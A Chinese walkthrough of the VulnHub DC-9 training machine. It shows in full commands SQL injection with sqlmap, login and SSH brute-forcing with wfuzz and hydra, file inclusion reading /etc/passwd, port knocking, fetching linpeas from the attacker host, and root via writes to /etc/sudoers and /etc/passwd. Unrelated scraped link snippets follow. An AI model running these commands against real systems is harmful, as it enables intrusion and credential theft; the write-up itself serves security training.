【vulnhub】靶机-【DC系列】DC9(附靶机)
出品|MS08067实验室(www.ms08067.com)
本文作者:大方子(Ms08067实验室核心成员)
主机信息
Kali:192.168.56.113
DC9:192.168.56.112
实验过程
先进行主机探测,查找靶机的IP地址:
arp‐scan ‐‐interface eth1 192.168.56.1/24

用nmap对主机进行排查确定,DC9的IP地址为192.168.56.112
可以看到DC开放了80端口以及22端口(被过滤)
nmap ‐sC ‐sV ‐oA dc‐9 192.168.56.112

所以首先从80端口入手,每个网页都点开看看。看到这个搜索页面感觉可以尝试下SQL注入

这里我们用Burp进行尝试,发现的确存在注入点

把请求信息导出为dc9.sqlmap,接下来用SQLmap进行遍历
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap

然后接下来用sqlmap导出数据
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐‐dbs
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐‐tables
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐T UserDetails ‐‐columns
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐T UserDetails ‐C
username,password ‐‐dump

python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D Staff ‐T Users ‐C Username,Password ‐‐dump

这里SQLmap直接帮我得到admin的密码明文(transorbital1)
管理员账号:admin
管理员密码:transorbital1
附在线破解网站:https://hashes.com/en/decrypt/hash
我们将所有的账号,密码进行整理,分别整理到username,password(这里需要注意的是,只要管理员 的密码是需要解密的,其他用户的密码是明文)

用wfuzz进行批量登陆查看页面反应,只有管理员的账号是302 (ps:意料之中)
‐c:带颜色输出 ‐d:post参数 ‐z:payload ‐m:模式 zip迭代 字典和占位符一一对应进行遍历
wfuzz ‐c ‐z file,username ‐z file,password ‐m zip ‐d 'username=FUZZ&password=FUZ2Z' http://192.168.56.112/manage.php

然后我们用管理账号进行登陆

可以看到页面下面出现File does not exist的提示,感觉很有可能就是LFI(本地文件包含)
但是此时我们并不知道参数是多少,这里同样用wfuzz尝试进行遍历(注意这里用把登陆之后的 cookies也要写上,否则网页会提示你要登陆)
查看cookies的话可以浏览器直接查看,也可以让wfuzz把请求发给burp进行查看
#‐p:添加代理
wfuzz ‐p 127.0.0.1:8080:HTTP
字典地址:https://github.com/danielmiessler/SecLists
‐b:cookies ‐hw:隐藏指定字节数的结果 ‐w 字典文件
wfuzz ‐‐hw 100 ‐b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w
/usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt
http://192.168.56.112/manage.php?FUZZ=index.php
wfuzz ‐‐hw 100 ‐b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w
/usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt
http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/passwd

这里我们就找到参数file

然后我们通过/proc/sched_debug 来查看Linux系统中任务的调度情况
http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../proc/sched_debug

整理查询发现靶机上运行这knockd
关于knockd的介绍:https://blog.csdn.net/nzjdsds/article/details/112476120

那么我们读取下knockd的配置文件
http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/knockd.conf

[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables ‐I INPUT ‐s %IP% ‐p tcp ‐‐dport 22 ‐j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables ‐D INPUT ‐s %IP% ‐p tcp ‐‐dport 22 ‐j ACCEPT
tcpflags = syn
这里提供2种敲击方法:nc、nmap
for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.56.112;done
for x in 7469 8475 9842 22 ;do nc 192.168.56.112 $x;done

此时SSH就可以正常连接,接下来我们用hydra来进行爆破,用户名和密码就是我们先前SQL注入获得的
hydra ‐L username ‐P password ssh://192.168.56.112

[22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee
[22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!
然后我们对这几个账号都尝试进行登陆
ssh janitor@192.168.56.112

只有janitor的家目录存在一个名为.secrets-for-putin的文件夹,并且在其中又得到一些密码

我们把这些密码加入到password文件中
同时我们在janitor使用LinPEAS来探测下可利用的点
下载地址:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
现在Kali上开启HTTP服务
python3 ‐m http.server 80

然后在靶机上进行下载
wget http://192.168.56.114/linpeas.sh

然后运行之后,感觉并没有什么特别的点
bash linpeas.sh

再使用hydra使用刚刚更新过的password文件进行SSH爆破,可以看到多了一个fredf用户

[22][ssh] host: 192.168.56.112 login: fredf password: B4‐Tru3‐001
[22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee
[22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!
然后登陆到fredf账号,查看下fredf的sudo权限,可以看到fredf可以不用密码以root权限执 行/opt/devstuff/dist/test/test的文件
sudo ‐l

/opt/devstuff/dist/test/test是一个可执行文件,执行后出现下面的提示,应该是一个python脚本转化为的可执行的文件

可以在上级目录找到同名的 test.py 然后cat下内容,应该是由这个文件编译过来的
脚本的作用就是将第一个文件的内容附加到另一个文件里面去

这样提权就变得非常简单,这里提供2个提权的思路
提权思路1:往/etc/sudoers里面添加内容,让用户可以以root的权限去执行命令
创建/dev/shm/sudoerAdd,内容如下
joeyt ALL=(ALL) ALL
然后执行
sudo /opt/devstuff/dist/test/test /dev/shm/sudoerAdd /etc/sudoers

然后登陆joeyt,然后切换成root身份,get flag
提权思路2:添加一个新的用户到/etc/passwd,然后新添加的用户登陆
这里用Openssl来对密码进行加密,在进行编辑输入到/tmp/new-passwd
openssl passwd ‐1 ‐salt 123456 dfz
dfz:$1$123456$1VU0YpuL7WOQvLLyYTbbv1:0:0:root:/root:/bin/bash

然后把/tmp/new-passwd写入到/etc/passwd
sudo /opt/devstuff/dist/test/test /tmp/new‐passwd /etc/passwd

靶机下载地址:http://www.five86.com/downloads/DC-9.zip
转载请联系作者并注明出处!


【vulnhub】靶机-【DC系列】DC9(附靶机)的更多相关文章
- kali渗透综合靶机(十五)--Breach-1.0靶机
kali渗透综合靶机(十五)--Breach-1.0靶机 靶机下载地址:https://download.vulnhub.com/breach/Breach-1.0.zip 一.主机发现 1.netd ...
- kali渗透综合靶机(十二)--SickOs1.2靶机
kali渗透综合靶机(十二)--SickOs1.2靶机 靶机下载地址:https://www.vulnhub.com/entry/sickos-12,144/ 一.主机发现 1.netdiscover ...
- kali渗透综合靶机(十三)--Dina 1.0靶机
kali渗透综合靶机(十三)--Dina 1.0靶机 一.主机发现 1.netdiscover -i eth0 -r 192.168.10.0/24 二.端口扫描 1. masscan --rate= ...
- PJzhang:vulnhub靶机sunset系列SUNSET:TWILIGHT
猫宁~~~ 地址:https://www.vulnhub.com/entry/sunset-twilight,512/ 关注工具和思路. nmap 192.168.43.0/24靶机IP192.168 ...
- 3. 文件上传靶机实战(附靶机跟writeup)
upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs 运行环境 操作系统:推荐windows ...
- vulnhub: DC 4
信息收集: yurang@kali:~$ nmap -sn 192.168.76.1/24 Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-04 ...
- vulnhub: DC 9
信息收集: root@kali:/opt/test# nmap -A -v 192.168.76.137 Starting Nmap 7.80 ( https://nmap.org ) at 2020 ...
- 在C#代码中应用Log4Net系列教程(附源代码)
Log4Net应该可以说是DotNet中最流行的开源日志组件了.以前需要苦逼写的日志类,在Log4Net中简单地配置一下就搞定了.没用过Log4Net,真心不知道原来日志组件也可以做得这么灵活,当然这 ...
- Python入门系列【附】进阶教程
如题,本篇将讲解Python提升之路:Python作为语法简单易学的语言,入门容易精通却很难,这是共识,那么为什么会有这样的共识?精通Python的难度在哪里? Python拥有简单.形象.直观的语法 ...
随机推荐
- .Net Core使用IdentityServer4
官方文档https://identityserver4.readthedocs.io/en/latest/ 参考https://www.cnblogs.com/i3yuan/p/13843082.ht ...
- Barcodex帮助文档
前言 官方文档及ocx控件下载,下载很慢,直接上传到博客园文件管理中了. http://files.cnblogs.com/files/masonblog/barcodex.zip 帮助文档 Prop ...
- CentOS7下常用安装服务软件源码编译安装方式的介绍
简介:介绍源码编译安装软件包的管理 源码安装优点:编译安装过程,可以设定参数,指定安装目录,按照需求进行安装,指定安装的版本,灵活性比较大. 源码安装的缺点:需要对依赖包一个一个的进行安装,不敢随便升 ...
- 高端面试必备:一个Java对象占用多大内存
这个问题一般会出现在稍微高端一点的 Java 面试环节.要求面试者不仅对 Java 基础知识熟悉,更重要的是要了解内存模型. Java 对象模型 HotSpot JVM 使用名为 oops (Ordi ...
- 远程调用get和post请求 将返回结果转换成实体类
package org.springblade.desk.utils; import org.apache.http.client.ResponseHandler; import org.apache ...
- 对象存储 COS 全新集成媒体处理功能
根据<2020年中国网络视听发展研究报告>,截至2020年6月,我国网络视听用户规模达9.01亿,网民使用率95.8%.这表明视频行业已经成为新的流量洼地,而抖音.快手等视频平台的崛起也让 ...
- 孟德尔随机化(Mendelian Randomization) 统计功效(power)和样本量计算
孟德尔随机化(Mendelian Randomization) 统计功效(power)和样本量计算 1 统计功效(power)概念 统计功效(power)指的是在原假设为假的情况下,接受备择假设的概率 ...
- TCP连接的建立与释放(超详细)
前言:在计算机网络协议中,TCP只是其中一个,然而在网络使用中,TCP也是最离不开的协议之一,它的重要性毋庸置疑,最最重要的是,面试的重点就是它啊,呜呜~~,今天我们一起来看下TCP的连接建立与释放, ...
- 关于vuex的数据不直接给data而要通过computed
# 为什么vuex的数据不直接给data而要通过computed计算 ## 疑惑 其实一直以来使用vue的状态管理vuex都有一个疑惑,文档中介绍,vue的状态数据`$store.state.xx`的 ...
- 【SpringBoot1.x】SpringBoot1.x 日志
SpringBoot1.x 日志 日志框架 市面上有很多日志框架,一个日志框架一般包括抽象层和实现. SpringBoot,它的底层是 Spring,而 Spring 框架默认是用 JCL(java. ...